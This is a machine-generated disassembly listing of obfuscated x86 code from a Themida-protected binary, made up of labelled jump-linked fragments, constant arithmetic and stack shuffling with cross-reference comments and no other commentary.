loc_55E473:				; CODE XREF: Themida_:00554BC7j
		pop	esp
		jmp	loc_55AA4C
; ---------------------------------------------------------------------------


loc_55E479:				; CODE XREF: Themida_:00557348j
		mov	bh, dl
		pop	edx
		add	bh, 5Eh
		and	bh, 48h
		neg	bh
		add	bh, 0C0h
		jmp	loc_55B70D
; ---------------------------------------------------------------------------


loc_55E48C:				; CODE XREF: Themida_:00559451j
		pop	esp
		push	edi
		jmp	loc_558FB9
; ---------------------------------------------------------------------------


loc_55E493:				; CODE XREF: Themida_:005561F6j
		mov	edi, esp
		jmp	loc_5565F6
; ---------------------------------------------------------------------------


loc_55E49A:				; CODE XREF: Themida_:00552FFBj
		pop	esp
		push	3119h
		mov	[esp], edx
		push	2000000h
		pop	edx
		jmp	loc_55BCA9
; ---------------------------------------------------------------------------


loc_55E4AE:				; CODE XREF: Themida_:00556B3Aj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	18EDh
		mov	[esp], edx
		jmp	loc_55D4C4
; ---------------------------------------------------------------------------


loc_55E4C5:				; CODE XREF: Themida_:0055E236j
		inc	edi
		jmp	loc_55D8EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55E4CB:				; CODE XREF: sub_5747D8-17EC4j
		pop	ecx
		mov	cl, 41h
		xor	cl, ah
		push	[esp+14h+var_14]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, dword ptr [esp+18h+var_18]
		pop	esp
		add	al, 1Ah
		sub	al, cl
		sub	al, 1Ah
		pop	cx
		push	ecx
		mov	ch, 4Ch
		add	ch, 44h
		sub	ch, 0CCh
		and	ch, 0E4h
		dec	ch
		xor	ch, 27h
		add	bl, ch
		pop	ecx
		add	bl, 0F9h
		sub	bl, 20h
		sub	bl, al
		push	eax
		mov	ah, 4Dh
		jmp	loc_554473
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55E513:				; CODE XREF: Themida_:00558651j
		push	edx
		jmp	loc_5594AE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55856D
; ---------------------------------------------------------------------------


loc_55E52A:				; CODE XREF: Themida_:0055522Fj
		mov	ebp, 4
		jmp	loc_5574B4
; ---------------------------------------------------------------------------


loc_55E534:				; CODE XREF: Themida_:00558FC4j
		sub	edi, esi
		jmp	loc_55BCCA
; ---------------------------------------------------------------------------
		push	small 1004h
		mov	[esp], sp
		push	si
		mov	si, 2
		add	word ptr [esp+2], 469h
		sub	word ptr [esp+2], 409Fh
		add	[esp+2], si
		add	word ptr [esp+2], 409Fh
		jmp	loc_55BEF8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		jmp	loc_55390C
; ---------------------------------------------------------------------------


loc_55E572:				; CODE XREF: Themida_:005574A4j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E584:				; CODE XREF: Themida_:005577CDj
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_559851
; ---------------------------------------------------------------------------


loc_55E599:				; CODE XREF: Themida_:005555E8j
		push	ecx
		mov	ecx, 147909BCh
		add	ecx, 40483026h
		add	edi, ecx
		jmp	loc_55A29A
; ---------------------------------------------------------------------------


loc_55E5AC:				; CODE XREF: Themida_:00553500j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E5B1:				; CODE XREF: Themida_:00553001j
		pop	dword ptr [esp]
		jmp	loc_55E5E5
; ---------------------------------------------------------------------------


loc_55E5B9:				; CODE XREF: Themida_:00557CFCj
		add	edx, edi
		sub	edx, 1B04114Bh
		pop	edi
		push	ebp
		jmp	loc_555844
; ---------------------------------------------------------------------------


loc_55E5C8:				; CODE XREF: Themida_:00555428j
		add	esp, 4
		jmp	loc_559179
; ---------------------------------------------------------------------------


loc_55E5D3:				; CODE XREF: Themida_:00554711j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_558307
; ---------------------------------------------------------------------------


loc_55E5E5:				; CODE XREF: Themida_:0055E5B4j
		pop	esp
		pop	eax
		jmp	loc_558484
; ---------------------------------------------------------------------------


loc_55E5EC:				; CODE XREF: Themida_:0055452Dj
		add	ebx, eax
		pop	eax
		jmp	loc_556AD8
; ---------------------------------------------------------------------------


loc_55E5F4:				; CODE XREF: Themida_:005551E9j
		or	bl, 0Ch
		add	bl, 9Dh
		and	dl, bl
		pop	ebx
		not	dl
		jmp	loc_55D674
; ---------------------------------------------------------------------------


loc_55E604:				; CODE XREF: Themida_:005574C0j
		push	3B75h
		jmp	loc_559A21
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E618:				; CODE XREF: Themida_:0055BA69j
		sub	ebp, 40ABCAF1h
		shl	ebp, 4
		not	ebp
		and	ebp, 58C00C26h
		and	ebp, 5FBA59CBh
		xor	ebp, 10800806h
		add	eax, ebp
		pop	ebp
		jmp	loc_55D388
; ---------------------------------------------------------------------------


loc_55E63D:				; CODE XREF: Themida_:0055C078j
		push	ebp
		mov	ebp, 76926C09h
		jmp	loc_5594F7
; ---------------------------------------------------------------------------


loc_55E648:				; CODE XREF: Themida_:0055AD32j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_554048
; ---------------------------------------------------------------------------


loc_55E65B:				; CODE XREF: Themida_:00558286j
		mov	dh, 0EDh
		push	eax
		push	edx
		mov	dl, 0A0h
		jmp	loc_55DDD7
; ---------------------------------------------------------------------------


loc_55E666:				; CODE XREF: Themida_:0055426Fj
		pop	esi
		jmp	loc_5576A6
; ---------------------------------------------------------------------------


loc_55E66C:				; CODE XREF: Themida_:0055BB30j
		add	edi, 80A8AA34h
		sub	edx, edi
		pop	edi
		add	edx, ebx
		add	edx, 7E126EC3h
		pop	ebx
		add	edx, edi
		jmp	loc_55E6B6
; ---------------------------------------------------------------------------


loc_55E685:				; CODE XREF: Themida_:00558EC7j
		pop	esi
		sub	ebp, 23C55DE4h
		inc	ebp
		jmp	loc_55951A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	4F45h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 6C03A5Eh
		add	ebp, 4EA60DFBh
		xor	ebp, 5566485Dh
		jmp	loc_5549D2
; ---------------------------------------------------------------------------


loc_55E6B6:				; CODE XREF: Themida_:0055E680j
		sub	edx, 46D42C30h
		mov	eax, [edx]
		mov	edx, [esp]
		push	eax
		jmp	loc_55867D
; ---------------------------------------------------------------------------


loc_55E6C7:				; CODE XREF: Themida_:0055342Fj
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5554B7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		jmp	loc_559A3F
; ---------------------------------------------------------------------------


loc_55E6D9:				; CODE XREF: Themida_:0055B8EBj
		push	2B1Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_553DA2
; ---------------------------------------------------------------------------


loc_55E6EA:				; CODE XREF: Themida_:00555A52j
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_555CF7
; ---------------------------------------------------------------------------


loc_55E707:				; CODE XREF: Themida_:0055DB59j
		xor	eax, edi
		pop	edi
		push	ebx
		push	edx
		push	6B3624FDh
		jmp	loc_55E35A
; ---------------------------------------------------------------------------


loc_55E716:				; CODE XREF: Themida_:0055F015j
		push	ebp
		jmp	loc_5542BC
; ---------------------------------------------------------------------------


loc_55E71C:				; CODE XREF: Themida_:0055B199j
		add	al, bh
		jmp	loc_555373
; ---------------------------------------------------------------------------


loc_55E723:				; CODE XREF: Themida_:0055C29Cj
		add	ebx, 4
		push	ebp
		push	ebx
		jmp	loc_559A5E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	2
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 43473FA9h
		jmp	loc_5570C6
; ---------------------------------------------------------------------------


loc_55E75F:				; CODE XREF: Themida_:00559930j
		add	esi, 42DE1FB6h
		add	esi, 4E7F98C0h
		mov	edx, esi
		pop	esi
		neg	edx
		jmp	loc_55C1F3
; ---------------------------------------------------------------------------


loc_55E775:				; CODE XREF: Themida_:0055E058j
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55A60E
; ---------------------------------------------------------------------------


loc_55E781:				; CODE XREF: Themida_:00558BEDj
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_55C6FF
; ---------------------------------------------------------------------------


loc_55E78F:				; CODE XREF: Themida_:0055B5C0j
		mov	edx, [esp]
		jmp	loc_553649
; ---------------------------------------------------------------------------


loc_55E797:				; CODE XREF: Themida_:0055BDDFj
		push	esi
		mov	esi, 36B36412h
		add	esi, 1
		jmp	loc_555283
; ---------------------------------------------------------------------------


loc_55E7A8:				; CODE XREF: Themida_:00557C74j
		add	ebp, 37527918h
		jmp	loc_55624F
; ---------------------------------------------------------------------------


loc_55E7B3:				; CODE XREF: Themida_:00557992j
		pop	cx
		jmp	loc_55C670
; ---------------------------------------------------------------------------


loc_55E7BA:				; CODE XREF: Themida_:005596AEj
		pop	ecx
		jmp	loc_5538C3
; ---------------------------------------------------------------------------


loc_55E7C0:				; CODE XREF: Themida_:00558C5Dj
		sub	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		add	cl, 0CBh
		add	al, 0FCh
		add	al, cl
		sub	al, 0FCh
		jmp	loc_55EBA6
; ---------------------------------------------------------------------------


loc_55E7D9:				; CODE XREF: Themida_:005587C5j
		push	dword ptr [eax]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55E7E0:				; CODE XREF: Themida_:005530F2j
		xor	bh, 3Eh
		add	al, bh
		pop	ebx
		jmp	loc_55EF25
; ---------------------------------------------------------------------------


loc_55E7EB:				; CODE XREF: Themida_:0055BCE2j
		sub	ebp, 16622B49h
		jmp	loc_55316C
; ---------------------------------------------------------------------------


loc_55E7F6:				; CODE XREF: Themida_:0055A3BDj
		add	edx, 24D9253Fh
		jmp	loc_5599F1
; ---------------------------------------------------------------------------


loc_55E801:				; CODE XREF: Themida_:0055F150j
		add	eax, 4
		jmp	loc_553EF9
; ---------------------------------------------------------------------------


loc_55E80B:				; CODE XREF: Themida_:00558C1Fj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_55854B
; ---------------------------------------------------------------------------


loc_55E81A:				; CODE XREF: Themida_:0055C810j
		add	ebp, 9A203086h
		shl	ebp, 1
		inc	ebp
		jmp	loc_55678D
; ---------------------------------------------------------------------------


loc_55E828:				; CODE XREF: Themida_:0055DD21j
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_55D68E
; ---------------------------------------------------------------------------


loc_55E832:				; CODE XREF: Themida_:005545DCj
		mov	[esp], esi
		mov	esi, 47A73732h
		add	esi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 7D745361h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	esi
		xor	esi, 0BF59ED55h
		mov	edi, esi
		pop	esi
		jmp	loc_55C867
; ---------------------------------------------------------------------------


loc_55E85E:				; CODE XREF: Themida_:00554C61j
		xor	edi, 3C6A1A01h
		or	edi, 6FA06F72h
		jmp	loc_5548FA
; ---------------------------------------------------------------------------


loc_55E86F:				; CODE XREF: Themida_:00553514j
		sub	esp, 4
		jmp	loc_55B390
; ---------------------------------------------------------------------------


loc_55E87A:				; CODE XREF: Themida_:0055D461j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	near ptr unk_55303F
; ---------------------------------------------------------------------------


loc_55E891:				; CODE XREF: Themida_:005594A9j
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55E055
; ---------------------------------------------------------------------------


loc_55E8A1:				; CODE XREF: Themida_:0055B064j
		mov	ecx, [esp]
		jmp	loc_55E1C5
; ---------------------------------------------------------------------------


loc_55E8A9:				; CODE XREF: Themida_:005597E3j
		push	345Dh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	36ACh
		jmp	loc_552E4B
; ---------------------------------------------------------------------------


loc_55E8BD:				; CODE XREF: Themida_:00557BEEj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A051
; ---------------------------------------------------------------------------


loc_55E8CD:				; CODE XREF: Themida_:005581ECj
		push	3E85h
		jmp	loc_55D0C9
; ---------------------------------------------------------------------------


loc_55E8D7:				; CODE XREF: Themida_:005542E8j
		pop	esi
		xor	edx, 75AA40EEh
		jmp	loc_558491
; ---------------------------------------------------------------------------


loc_55E8E3:				; CODE XREF: Themida_:00555D2Ej
		add	esp, 4
		pop	dword ptr [esp]
		not	edx
		jmp	loc_55DB78
; ---------------------------------------------------------------------------


loc_55E8F3:				; CODE XREF: Themida_:0055787Cj
		pop	ecx
		pop	edi
		add	ebp, 41E76365h
		jmp	loc_55C126
; ---------------------------------------------------------------------------


loc_55E900:				; CODE XREF: Themida_:00556B91j
		pop	edx
		sub	eax, 0F7E0202Bh
		mov	ebx, eax
		pop	eax
		and	ebx, 1FC476B7h
		jmp	loc_55D04C
; ---------------------------------------------------------------------------


loc_55E914:				; CODE XREF: Themida_:0055A55Cj
		mov	[esp], ecx
		mov	ecx, esp
		push	1D46h
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 0E145DBEh
		jmp	loc_554F7F
; ---------------------------------------------------------------------------


loc_55E934:				; CODE XREF: Themida_:00558DB0j
		mov	[esp], edx
		push	20ACh
		mov	[esp], eax
		push	1E527E09h
		pop	eax
		push	edx
		jmp	loc_55B09D
; ---------------------------------------------------------------------------


loc_55E94B:				; CODE XREF: Themida_:005560D2j
		mov	esi, 21713760h
		jmp	loc_557671
; ---------------------------------------------------------------------------


loc_55E955:				; CODE XREF: Themida_:0055A4CDj
		mov	esi, ebp
		mov	edi, esi
		pop	esi
		pop	ebp
		xor	edi, ebp
		pop	ebp
		xchg	eax, edi
		dec	eax
		xchg	eax, edi
		push	ebp
		jmp	loc_55D1DF
; ---------------------------------------------------------------------------


loc_55E967:				; CODE XREF: Themida_:00559AE3j
		add	edx, 4
		sub	edx, 4
		push	7143h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_557FCA
; ---------------------------------------------------------------------------


loc_55E988:				; CODE XREF: Themida_:00559BEEj
		pop	esi
		add	ebp, ecx
		jmp	loc_55B4BC
; ---------------------------------------------------------------------------


loc_55E990:				; CODE XREF: Themida_:00559AA5j
		mov	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 6030728Bh
		inc	ecx
		add	ecx, 1979319Eh
		jmp	loc_5576E9
; ---------------------------------------------------------------------------


loc_55E9A5:				; CODE XREF: Themida_:00556CC5j
		sub	esi, 63674E36h
		mov	ebx, [esp]
		jmp	loc_55B0B6
; ---------------------------------------------------------------------------


loc_55E9B3:				; CODE XREF: Themida_:00554043j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556426
; ---------------------------------------------------------------------------


loc_55E9C6:				; CODE XREF: Themida_:00553613j
		sub	al, 0F4h
		add	al, 24h
		sub	al, dl
		sub	al, 24h
		add	al, 0F4h
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_55CD28
; ---------------------------------------------------------------------------


loc_55E9E9:				; CODE XREF: Themida_:00553306j
		pop	dword ptr [edx+38h]
		pop	edi
		pop	ebp
		xor	[edx+38h], esi
		jmp	loc_5547E6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55A4D2
; ---------------------------------------------------------------------------


loc_55EA05:				; CODE XREF: Themida_:0055A160j
		xor	ebp, 4B43391Ch
		add	ebp, 0B152A858h
		add	edx, ebp
		pop	ebp
		push	edx
		jmp	loc_557832
; ---------------------------------------------------------------------------


loc_55EA1A:				; CODE XREF: Themida_:0055A74Fj
		mov	ecx, 5AFA7CB5h
		mov	esi, ecx
		pop	ecx
		inc	esi
		jmp	loc_558E10
; ---------------------------------------------------------------------------


loc_55EA28:				; CODE XREF: Themida_:00553E71j
		push	edx
		push	55F16E23h
		pop	edx
		neg	edx
		push	ecx
		mov	ecx, 450844F7h
		push	esi
		mov	esi, 2C564D18h
		add	ecx, esi
		pop	esi
		or	ecx, 5E64074Dh
		and	ecx, 7F22BB6h
		and	ecx, 57A5218Fh
		jmp	loc_5542ED
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_557011
; ---------------------------------------------------------------------------


loc_55EA5F:				; CODE XREF: Themida_:00555D78j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_554364
; ---------------------------------------------------------------------------


loc_55EA6D:				; CODE XREF: Themida_:00554851j
		neg	eax
		jmp	loc_55820A
; ---------------------------------------------------------------------------


loc_55EA74:				; CODE XREF: Themida_:0055A56Dj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55EA7D:				; CODE XREF: Themida_:005533C0j
		pop	esi
		push	ebp
		jmp	loc_55D93E
; ---------------------------------------------------------------------------


loc_55EA84:				; CODE XREF: Themida_:0055C90Aj
		mov	ch, ah
		pop	eax
		push	ebx
		push	7117h
		mov	[esp], eax
		mov	al, ch
		mov	bl, al
		pop	eax
		mov	[edi+eax*4], bl
		pop	ebx
		mov	ecx, [esp]
		push	edi
		jmp	loc_55A1A5
; ---------------------------------------------------------------------------


loc_55EAA2:				; CODE XREF: Themida_:0055895Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55C5DA
; ---------------------------------------------------------------------------


loc_55EAB1:				; CODE XREF: Themida_:00559CC1j
		pop	esp
		mov	[esp], ebp
		push	774Bh
		jmp	loc_5581A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55EABF:				; CODE XREF: sub_5747D8-1EFEBj
		mov	al, 8Bh
		or	ch, al
		pop	ax
		push	bx
		mov	bh, 33h
		sub	ch, bh
		pop	bx
		add	ch, 0B9h
		shr	ch, 2
		push	eax
		mov	al, 0FBh
		sub	ch, al
		pop	eax
		sub	al, ch
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_558CE2
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55EAE3:				; CODE XREF: Themida_:005573A3j
		mov	[esp], ebp
		push	2
		pop	ebp
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_555272
; ---------------------------------------------------------------------------


loc_55EAFF:				; CODE XREF: Themida_:00554368j
		sub	esp, 4
		jmp	loc_552E67
; ---------------------------------------------------------------------------


loc_55EB07:				; CODE XREF: Themida_:00556EC7j
		push	edx
		mov	edx, 5B430891h
		jmp	loc_558241
; ---------------------------------------------------------------------------


loc_55EB12:				; CODE XREF: Themida_:0055A8C6j
		add	edi, eax
		pop	eax
		add	edi, edx
		sub	edi, 1A5210B9h
		jmp	loc_55849F
; ---------------------------------------------------------------------------


loc_55EB22:				; CODE XREF: Themida_:005537FFj
		push	3BB5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D18F
; ---------------------------------------------------------------------------


loc_55EB33:				; CODE XREF: Themida_:00553B89j
		mov	ebp, 29140D4Eh
		mov	ecx, ebp
		pop	ebp
		add	ecx, 27805419h
		sub	ecx, 50946165h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55EB59:				; CODE XREF: Themida_:0055DE9Dj
		push	esi
		mov	esi, 1E281294h
		add	edi, esi
		pop	esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55C655
; ---------------------------------------------------------------------------


loc_55EB6E:				; CODE XREF: Themida_:005536A5j
		push	bx
		jmp	loc_55B728
; ---------------------------------------------------------------------------


loc_55EB75:				; CODE XREF: Themida_:0055BBE0j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	36BCh
		mov	[esp], eax
		jmp	loc_558E74
; ---------------------------------------------------------------------------


loc_55EB87:				; CODE XREF: Themida_:00558736j
		pop	esi
		add	edx, 2C580B8Ah
		inc	edx
		inc	edx
		xor	edx, 0CDF7BE2Fh
		add	ebp, edx
		pop	edx
		jmp	loc_559C7B
; ---------------------------------------------------------------------------
		xor	[esp], bh
		jmp	loc_55535A
; ---------------------------------------------------------------------------


loc_55EBA6:				; CODE XREF: Themida_:0055E7D4j
		pop	ecx
		add	al, bl
		push	ebx
		mov	bl, 0C1h
		sub	al, bl
		mov	ebx, [esp]
		jmp	loc_55B8A1
; ---------------------------------------------------------------------------


loc_55EBB6:				; CODE XREF: Themida_:0055324Bj
		mov	edx, [esp]
		add	esp, 4
		sub	[esp], eax
		sub	dword ptr [esp], 37075735h
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55EBCB:				; CODE XREF: Themida_:0055DD9Ej
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 3F987AF5h
		neg	ebx
		neg	ebx
		push	edx
		mov	edx, 19614C63h
		sub	ebx, edx
		pop	edx
		jmp	loc_55A93F
; ---------------------------------------------------------------------------


loc_55EBEA:				; CODE XREF: Themida_:00556FDEj
		pop	edi
		jmp	loc_55A286
; ---------------------------------------------------------------------------


loc_55EBF0:				; CODE XREF: Themida_:0055A66Cj
		mov	eax, esi
		pop	esi
		jmp	loc_555FB0
; ---------------------------------------------------------------------------


loc_55EBF8:				; CODE XREF: Themida_:0055BF8Cj
		mov	[esp], ebp
		push	edi
		mov	edi, 2
		mov	ebp, edi
		pop	edi
		add	ebx, ebp
		jmp	loc_5550D2
; ---------------------------------------------------------------------------


loc_55EC0B:				; CODE XREF: Themida_:0055A1C0j
		add	ebx, 6412F42Ch
		jmp	loc_55B7A0
; ---------------------------------------------------------------------------


loc_55EC16:				; CODE XREF: Themida_:0055DC38j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5549F8
; ---------------------------------------------------------------------------


loc_55EC2A:				; CODE XREF: Themida_:0055E38Cj
		add	al, 5Bh
		sub	al, 38h
		sub	al, bh
		add	al, 38h
		sub	al, 5Bh
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55827B
; ---------------------------------------------------------------------------


loc_55EC46:				; CODE XREF: Themida_:00553311j
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	bx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55B3A6
; ---------------------------------------------------------------------------


loc_55EC70:				; CODE XREF: Themida_:0055B729j
		mov	al, ch
		push	ecx
		mov	cl, al
		jmp	loc_55825A
; ---------------------------------------------------------------------------


loc_55EC7A:				; CODE XREF: Themida_:0055DBEDj
		mov	esi, 20972BD5h
		add	esi, 5C8F56C1h
		neg	esi
		dec	esi
		inc	esi
		inc	esi
		xor	esi, 82D97D6Fh
		add	eax, 41B679B3h
		add	eax, esi
		push	ecx
		mov	ecx, 4457170Ch
		add	ecx, 0FD5F62A7h
		sub	eax, 34ED584Ah
		sub	eax, ecx
		add	eax, 34ED584Ah
		jmp	loc_55BA12
; ---------------------------------------------------------------------------


loc_55ECB4:				; CODE XREF: Themida_:0055DC7Bj
		sub	edi, 1F48760Eh
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		push	eax
		push	eax
		mov	eax, 54B77E07h
		xor	[esp+4], eax
		pop	eax
		pop	esi
		sub	esp, 4
		jmp	loc_557634
; ---------------------------------------------------------------------------


loc_55ECDE:				; CODE XREF: Themida_:0055C548j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55ACB6
; ---------------------------------------------------------------------------


loc_55ECF0:				; CODE XREF: Themida_:005539B8j
		add	edx, ebx
		jmp	loc_5552AE
; ---------------------------------------------------------------------------


loc_55ECF7:				; CODE XREF: Themida_:0055526Dj
		mov	edi, 5BEE787Ah
		jmp	loc_55487C
; ---------------------------------------------------------------------------


loc_55ED01:				; CODE XREF: Themida_:005589B2j
		pop	ebx
		add	ecx, esi
		pop	esi
		jmp	loc_55954D
; ---------------------------------------------------------------------------


loc_55ED0A:				; CODE XREF: Themida_:0055A231j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5565B8
; ---------------------------------------------------------------------------


loc_55ED1D:				; CODE XREF: Themida_:005554D6j
		add	esi, 5A7BE041h
		mov	ebp, esi
		jmp	loc_554198
; ---------------------------------------------------------------------------


loc_55ED2A:				; CODE XREF: Themida_:00553E15j
		xor	ebx, 3F7DE691h
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jnz	loc_55E03A
		push	ecx
		mov	ecx, 147B43D5h
		push	ecx
		push	2ECB7347h
		pop	ecx
		jmp	loc_55D9FD
; ---------------------------------------------------------------------------


loc_55ED4D:				; CODE XREF: Themida_:00553B9Aj
		pop	edx
		jmp	loc_55B3B4
; ---------------------------------------------------------------------------


loc_55ED53:				; CODE XREF: Themida_:0055CDA0j
		push	ebx
		jmp	loc_5553D4
; ---------------------------------------------------------------------------


loc_55ED59:				; CODE XREF: Themida_:0055424Cj
		add	edi, 4
		push	eax
		jmp	loc_557761
; ---------------------------------------------------------------------------


loc_55ED65:				; CODE XREF: Themida_:0055A7A3j
		push	36262C1Bh
		pop	esi
		add	eax, esi
		jmp	loc_553058
; ---------------------------------------------------------------------------


loc_55ED72:				; CODE XREF: Themida_:0055303Aj
		pop	dword ptr [esp]
		jmp	loc_5548B9
; ---------------------------------------------------------------------------


loc_55ED7A:				; CODE XREF: Themida_:00556C0Aj
		add	ecx, edx
		xor	[ecx], ebx
		pop	ecx
		pop	ebx
		popa
		jmp	loc_555BC9
; ---------------------------------------------------------------------------


loc_55ED86:				; CODE XREF: Themida_:00557252j
		push	19A5h
		mov	[esp], eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55ED93:				; CODE XREF: Themida_:00555C0Dj
		sub	eax, 0D2C0617Bh
		jmp	loc_55BDB9
; ---------------------------------------------------------------------------


loc_55ED9D:				; CODE XREF: Themida_:00557B32j
		sub	ah, bl
		pop	ebx
		jmp	loc_5574F3
; ---------------------------------------------------------------------------


loc_55EDA5:				; CODE XREF: Themida_:00554C14j
		push	ebx
		mov	bh, 43h
		push	ecx
		mov	cl, 6Ch
		jmp	loc_557BF3
; ---------------------------------------------------------------------------


loc_55EDB0:				; CODE XREF: Themida_:00555897j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5543E2
; ---------------------------------------------------------------------------


loc_55EDD2:				; CODE XREF: Themida_:0055B89Cj
		add	edx, 900CE6D9h
		add	ecx, edx
		pop	edx
		jmp	loc_55F131
; ---------------------------------------------------------------------------


loc_55EDE0:				; CODE XREF: Themida_:0055868Cj
		pop	esp
		mov	[esp], ebp
		jmp	loc_55ACF3
; ---------------------------------------------------------------------------


loc_55EDE9:				; CODE XREF: Themida_:005583A7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2BE35A2Bh
		add	ebp, 0FFFFFFFFh
		jmp	loc_55BAFE
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	32Ah
		mov	[esp], ecx
		jmp	loc_5573FA
; ---------------------------------------------------------------------------


loc_55EE0C:				; CODE XREF: Themida_:0055C6EEj
		add	ecx, 4FD800DBh
		jmp	loc_5556CB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 38F619B0h
		push	ebx
		jmp	loc_55727F
; ---------------------------------------------------------------------------


loc_55EE2A:				; CODE XREF: Themida_:00554996j
		sub	ecx, 0C000006h
		mov	edx, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_558588
; ---------------------------------------------------------------------------


loc_55EE43:				; CODE XREF: Themida_:0055313Ej
		add	ecx, ebp
		sub	ecx, 396272DFh
		pop	ebp
		add	esi, 24C20D7h
		add	esi, 686B7934h
		sub	esi, 3A766998h
		sub	esi, ecx
		add	esi, 3A766998h
		sub	esi, 686B7934h
		jmp	loc_55DD5E
; ---------------------------------------------------------------------------


loc_55EE71:				; CODE XREF: Themida_:0055C5B6j
		pop	edi
		add	esi, 0BFFDF79Ch
		add	eax, esi
		jmp	loc_553C4C
; ---------------------------------------------------------------------------


